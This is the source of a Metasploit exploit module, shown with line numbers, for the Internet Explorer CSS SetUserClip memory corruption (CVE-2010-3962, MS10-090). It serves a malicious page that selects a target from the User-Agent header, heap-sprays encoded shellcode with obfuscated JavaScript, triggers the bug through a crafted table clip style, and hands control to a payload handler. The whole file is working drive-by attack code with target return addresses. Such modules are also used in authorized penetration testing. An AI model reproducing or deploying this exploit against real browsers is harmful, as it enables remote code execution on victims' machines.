root / modules / exploits / windows / browser / ms10_090_ie_css_clip.rb @ master
History | View | Annotate | Download (6.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GoodRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
# Unreliable
|
| 19 |
#include Msf::Exploit::Remote::BrowserAutopwn
|
| 20 |
#autopwn_info({
|
| 21 |
# :ua_name => HttpClients::IE,
|
| 22 |
# :ua_minver => "6.0",
|
| 23 |
# :ua_maxver => "7.0",
|
| 24 |
# :javascript => true,
|
| 25 |
# :os_name => OperatingSystems::WINDOWS,
|
| 26 |
# :vuln_test => nil, # no way to test without just trying it
|
| 27 |
#})
|
| 28 |
|
| 29 |
def initialize(info = {}) |
| 30 |
super(update_info(info,
|
| 31 |
'Name' => 'Internet Explorer CSS SetUserClip Memory Corruption', |
| 32 |
'Description' => %q{ |
| 33 |
Thie module exploits a memory corruption vulnerability within Microsoft's |
| 34 |
HTML engine (mshtml). When parsing an HTML page containing a specially |
| 35 |
crafted CSS tag, memory corruption occurs that can lead arbitrary code |
| 36 |
execution. |
| 37 |
|
| 38 |
It seems like Microsoft code inadvertantly increments a vtable pointer to |
| 39 |
point to an unaligned address within the vtable's function pointers. This |
| 40 |
leads to the program counter being set to the address determined by the |
| 41 |
address "[vtable+0x30+1]". The particular address depends on the exact |
| 42 |
version of the mshtml library in use. |
| 43 |
|
| 44 |
Since the address depends on the version of mshtml, some versions may not |
| 45 |
be exploitable. Specifically, those ending up with a program counter value |
| 46 |
within another module, in kernel space, or just not able to be reached with |
| 47 |
various memory spraying techniques. |
| 48 |
|
| 49 |
Also, since the address is not controllable, it is unlikely to be possible |
| 50 |
to use ROP to bypass non-executable memory protections. |
| 51 |
},
|
| 52 |
'License' => MSF_LICENSE, |
| 53 |
'Author' =>
|
| 54 |
[ |
| 55 |
'unknown', # discovered in the wild |
| 56 |
'@yuange1975', # PoC posted to twitter |
| 57 |
'Matteo Memelli', # exploit-db version |
| 58 |
'jduck' # Metasploit module |
| 59 |
], |
| 60 |
'Version' => '$Revision$', |
| 61 |
'References' =>
|
| 62 |
[ |
| 63 |
[ 'CVE', '2010-3962' ], |
| 64 |
[ 'OSVDB', '68987' ], |
| 65 |
[ 'BID', '44536' ], |
| 66 |
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2458511.mspx' ], |
| 67 |
[ 'EDB', 15421 ], |
| 68 |
[ 'MSB', 'MS10-090' ] |
| 69 |
], |
| 70 |
'DefaultOptions' =>
|
| 71 |
{
|
| 72 |
'EXITFUNC' => 'process', |
| 73 |
'InitialAutoRunScript' => 'migrate -f', |
| 74 |
}, |
| 75 |
'Payload' =>
|
| 76 |
{
|
| 77 |
'Space' => 1024, |
| 78 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
| 79 |
'StackAdjustment' => -3500, |
| 80 |
}, |
| 81 |
'Platform' => 'win', |
| 82 |
'Targets' =>
|
| 83 |
[ |
| 84 |
[ 'Automatic', { } ],
|
| 85 |
|
| 86 |
#
|
| 87 |
# Special target, we put it first so its index doesn't change.
|
| 88 |
#
|
| 89 |
[ 'Debug',
|
| 90 |
{
|
| 91 |
'Ret' => 0x00010101, # tiny spray, sure to crash :) |
| 92 |
} |
| 93 |
], |
| 94 |
|
| 95 |
#
|
| 96 |
# In the targets below, 'Ret' means where EIP ends up (not under our control)
|
| 97 |
#
|
| 98 |
[ 'Internet Explorer 6',
|
| 99 |
{
|
| 100 |
'Ret' => 0x5c7dc9d0, # mshtml.dll 6.0.2900.3698 @ ? |
| 101 |
#'Ret' => 0x307dc9c5, # mshtml.dll 6.0.2900.5848 @ 0x7dc30000
|
| 102 |
#'Ret' => 0x0e7dc9cd, # mshtml.dll 6.0.2900.6036 @ 0x7dc30000
|
| 103 |
} |
| 104 |
], |
| 105 |
|
| 106 |
[ 'Internet Explorer 7',
|
| 107 |
{
|
| 108 |
'Ret' => 0x597e85f9, # mshtml.dll 7.0.5730.13 @ 0x7e830000 |
| 109 |
} |
| 110 |
], |
| 111 |
|
| 112 |
#
|
| 113 |
# Although IE8 is affected, we don't currently have a working target for it.
|
| 114 |
#
|
| 115 |
=begin
|
| 116 |
[ 'Internet Explorer 8 on Windows 7', |
| 117 |
{
|
| 118 |
#'Ret' => 0x396392db, # mshtml.dll 8.0.7600.16671 @ 0x62f90000 |
| 119 |
'Ret' => 0x39696cd8, # mshtml.dll 8.0.7600.16671 @ 0x694e0000 |
| 120 |
#'Ret' => 0x7a6902d7, # mshtml.dll 8.00.7600.16385 @ 0x68e40000 |
| 121 |
} |
| 122 |
] |
| 123 |
=end |
| 124 |
], |
| 125 |
'DisclosureDate' => 'Nov 3 2010', |
| 126 |
'DefaultTarget' => 0)) |
| 127 |
end
|
| 128 |
|
| 129 |
def auto_target(cli, request) |
| 130 |
mytarget = nil
|
| 131 |
|
| 132 |
agent = request.headers['User-Agent']
|
| 133 |
#print_status("Checking user agent: #{agent}")
|
| 134 |
if agent =~ /MSIE 6\.0/ |
| 135 |
mytarget = targets[2] # IE6 on NT, 2000, XP and 2003 |
| 136 |
elsif agent =~ /MSIE 7\.0/ |
| 137 |
mytarget = targets[3] # IE7 on XP and 2003 |
| 138 |
=begin
|
| 139 |
elsif agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 6\.1/ |
| 140 |
mytarget = targets[4] # IE8 on Windows 7 |
| 141 |
=end |
| 142 |
else
|
| 143 |
print_error("Unknown User-Agent #{agent}")
|
| 144 |
end
|
| 145 |
|
| 146 |
mytarget |
| 147 |
end
|
| 148 |
|
| 149 |
def on_request_uri(cli, request) |
| 150 |
|
| 151 |
mytarget = target |
| 152 |
if target.name == 'Automatic' |
| 153 |
mytarget = auto_target(cli, request) |
| 154 |
if (not mytarget) |
| 155 |
send_not_found(cli) |
| 156 |
return
|
| 157 |
end
|
| 158 |
end
|
| 159 |
|
| 160 |
# Re-generate the payload
|
| 161 |
return if ((p = regenerate_payload(cli)) == nil) |
| 162 |
|
| 163 |
print_status("Sending #{self.name} (target: #{mytarget.name})")
|
| 164 |
|
| 165 |
# Encode the shellcode
|
| 166 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) |
| 167 |
|
| 168 |
# Set the return\nops
|
| 169 |
ret = Rex::Text.to_unescape(make_nops(4)) |
| 170 |
|
| 171 |
# Construct the javascript
|
| 172 |
js = <<-EOS |
| 173 |
var memory = new Array(); |
| 174 |
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
| 175 |
var index; |
| 176 |
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16); |
| 177 |
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16); |
| 178 |
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
| 179 |
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
| 180 |
var retSlide = unescape("#{ret}");
|
| 181 |
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
| 182 |
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length); |
| 183 |
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize; |
| 184 |
for (index = 0; index < heapBlockCnt; index++) { memory[index] = retSlide + shellcode; }
|
| 185 |
} |
| 186 |
var shellcode = unescape("#{shellcode}");
|
| 187 |
sprayHeap(shellcode, #{mytarget.ret}, 0x400000 - (shellcode.length + 0x38)); |
| 188 |
document.write("<table style=position:absolute;clip:rect(0)>");
|
| 189 |
EOS |
| 190 |
opts = {
|
| 191 |
'Symbols' => {
|
| 192 |
'Variables' => %w{ shellcode retSlide payLoadSize memory index |
| 193 |
heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize |
| 194 |
heapBlockCnt },
|
| 195 |
'Methods' => %w{ sprayHeap } |
| 196 |
} |
| 197 |
} |
| 198 |
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) |
| 199 |
#js.obfuscate()
|
| 200 |
|
| 201 |
# Construct the final page
|
| 202 |
html = <<-EOS |
| 203 |
<html> |
| 204 |
<body> |
| 205 |
<script language='javascript'> |
| 206 |
#{js} |
| 207 |
</script> |
| 208 |
</body> |
| 209 |
</html>
|
| 210 |
EOS |
| 211 |
|
| 212 |
# Transmit the compressed response to the client
|
| 213 |
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
| 214 |
|
| 215 |
# Handle the payload
|
| 216 |
handler(cli) |
| 217 |
|
| 218 |
end
|
| 219 |
|
| 220 |
end
|